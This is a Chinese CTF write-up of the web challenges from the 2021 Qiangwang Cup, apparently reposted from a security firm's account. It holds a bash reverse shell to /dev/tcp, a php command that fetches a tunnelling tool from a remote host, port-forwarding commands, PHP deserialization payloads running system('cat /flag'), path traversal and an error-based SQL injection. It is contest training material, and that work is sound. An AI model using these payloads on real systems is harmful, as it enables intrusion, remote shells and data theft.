2021 强网杯 Write-Up (WEB部分)

Hard_Penetration

题目内容：渗透测试主要以获取权限为主，这一次，你能获取到什么权限呢。

前面是一个shiro反序列化，脚本都能打通，弹个shell：

bash -c 'bash -i >/dev/tcp/vps/port 2>&10>&1'

收集到的信息有：

• 内网8005端口有个apache，运行了一个cms

• 机器上有php、python等程序

• flag无需root权限即可读

php上传ew：

php -r "file_put_contents('ew',file_get_contents('http://xps/ew_linux_x64'));"

转发端口：

./ew_linux_x64 -s lcx_listen -l 18888 -e 18889

./ew -s lcx_slave -d vps -e 18889 -f  127.0.0.1 -g 8005

任意文件读拿flag：

/wap/common/show?templateFile=../../../../../../flag

 

pop_master

题目内容：听说你是pop链构建大师？

16万行代码，从12点看到3点，就硬看：

<?php
 
include "class.php";
 
$o = new cdKBgX();
$b = "phpinfo();//";
 
$o->IG2X7eS = new guAeB0;
$o->IG2X7eS->LTo0wOs = new MZ2dMV;
$o->IG2X7eS->LTo0wOs->WU6aUWm = new nXKQYP;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd = new r6lSwy;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac = new UW5vkV;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f = new DqoC5G;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X = new TBFTL7;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H = new qoEd8u;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX = new fFEGgM;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL = new rn4PNR;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS = new pRM5G8;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m = new Bwn3ZW;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO = new saCGME;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi = new ubPVyV;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl = new b8WIcp;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp = new q4IoOD;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d = new be3fZl;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d->NaHb7Ac = new x9wgH7;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d->NaHb7Ac->IBILkhN = new Upele5;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d->NaHb7Ac->IBILkhN->cl73VwG = new uQhKsL;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d->NaHb7Ac->IBILkhN->cl73VwG->RwqayHu = new G6QyEc;
$o->IG2X7eS->LTo0wOs->WU6aUWm->mGpVYwd->q6VMPac->XlZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->uXVxFLL->TdVPKPS->k6WTa5m->PmYsubO->c449DBi->lgNpoOl->OkOSSwp->Wqcdf7d->NaHb7Ac->IBILkhN->cl73VwG->RwqayHu->Ew9nqoI = new BmAQQY;
 
 
echo serialize($o);

Exp：

http://eci-2zeir9lncwqmfgk2txz6.cloudeci1.ichunqiu.com/?pop=O:6:"cdKBgX":1:{s:7:"IG2X7eS";O:6:"guAeB0":1:{s:7:"LTo0wOs";O:6:"MZ2dMV":1:{s:7:"WU6aUWm";O:6:"nXKQYP":1:{s:7:"mGpVYwd";O:6:"r6lSwy":1:{s:7:"q6VMPac";O:6:"UW5vkV":1:{s:7:"XlZSk2f";O:6:"DqoC5G":1:{s:7:"qd1Gk6X";O:6:"TBFTL7":1:{s:7:"z2qMn5H";O:6:"qoEd8u":1:{s:7:"BmsS1eX";O:6:"fFEGgM":1:{s:7:"uXVxFLL";O:6:"rn4PNR":1:{s:7:"TdVPKPS";O:6:"pRM5G8":1:{s:7:"k6WTa5m";O:6:"Bwn3ZW":1:{s:7:"PmYsubO";O:6:"saCGME":1:{s:7:"c449DBi";O:6:"ubPVyV":1:{s:7:"lgNpoOl";O:6:"b8WIcp":1:{s:7:"OkOSSwp";O:6:"q4IoOD":1:{s:7:"Wqcdf7d";O:6:"be3fZl":1:{s:7:"NaHb7Ac";O:6:"x9wgH7":1:{s:7:"IBILkhN";O:6:"Upele5":1:{s:7:"cl73VwG";O:6:"uQhKsL":1:{s:7:"RwqayHu";O:6:"G6QyEc":1:{s:7:"Ew9nqoI";O:6:"BmAQQY":1:{s:7:"UFAlT9K";N;}}}}}}}}}}}}}}}}}}}}}}}&argv=system("cat /flag");//

[强网先锋]赌徒

存在www.zip

存在反序列化漏洞，很容易找到pop链

<?php
 
class Start
{
    public $name='guest';
    public $flag='';
 
}
 
class Info
{
    public $promise='I do';
    public $file=[];
 
}
 
class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
 
}
$s=new Start();
$i=new Info();
$r=new Room();
$r1=new Room();
$s->name=$i;
$i->file["filename"]=$r;
$r->a=$r1;
$r1->filename="/flag";
print(serialize($s));
 
 
?>

将上面生成的序列化字符串，传入hello，即可得hi+flag的base64编码，解码即可得flag

/?hello=O:5:"Start":2:{s:4:"name";O:4:"Info":2:{s:7:"promise";s:4:"Ido";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:0:"";}

[强网先锋]寻宝

线索一

ppp[number1]=1025a&ppp[number2]=1e6&ppp[number3]=61823470&ppp[number4]=kawhika&ppp[number5]=kawhi

KEY1{e1e1d3d40573127e9ee0480caf1283d6}

线索二

在下载下来的文件寻找到KEY2

两个KEY1和KEY2在页面输入即可获取flag

 

EasyWeb

首先在：http://47.104.136.46/files/拿到hint:

Try to scan 35000-40000 ^_^.

All tables are empty except for the table where theusername and password are located

Table: employee

扫下端口在36842。

提示:

<!-- table: employee -->

无过滤，直接报错注入出密码:

password=admin&username=admin'or1=extractvalue(1,concat(0x7e,mid((select password from employee),16)))#

admin/99f609527226e076d668668582ac4420

站里面有个file路径，存在文件上传，简单绕一下过滤：

写shell后ps -ef看到内网有个jboss，8006端口。

依旧是拿ew转发，发现是个默认界面，直接拿网上现成脚本一把梭：

本文始发于微信公众号（山石网科安全技术研究院）：2021 强网杯 Write-Up (WEB部分)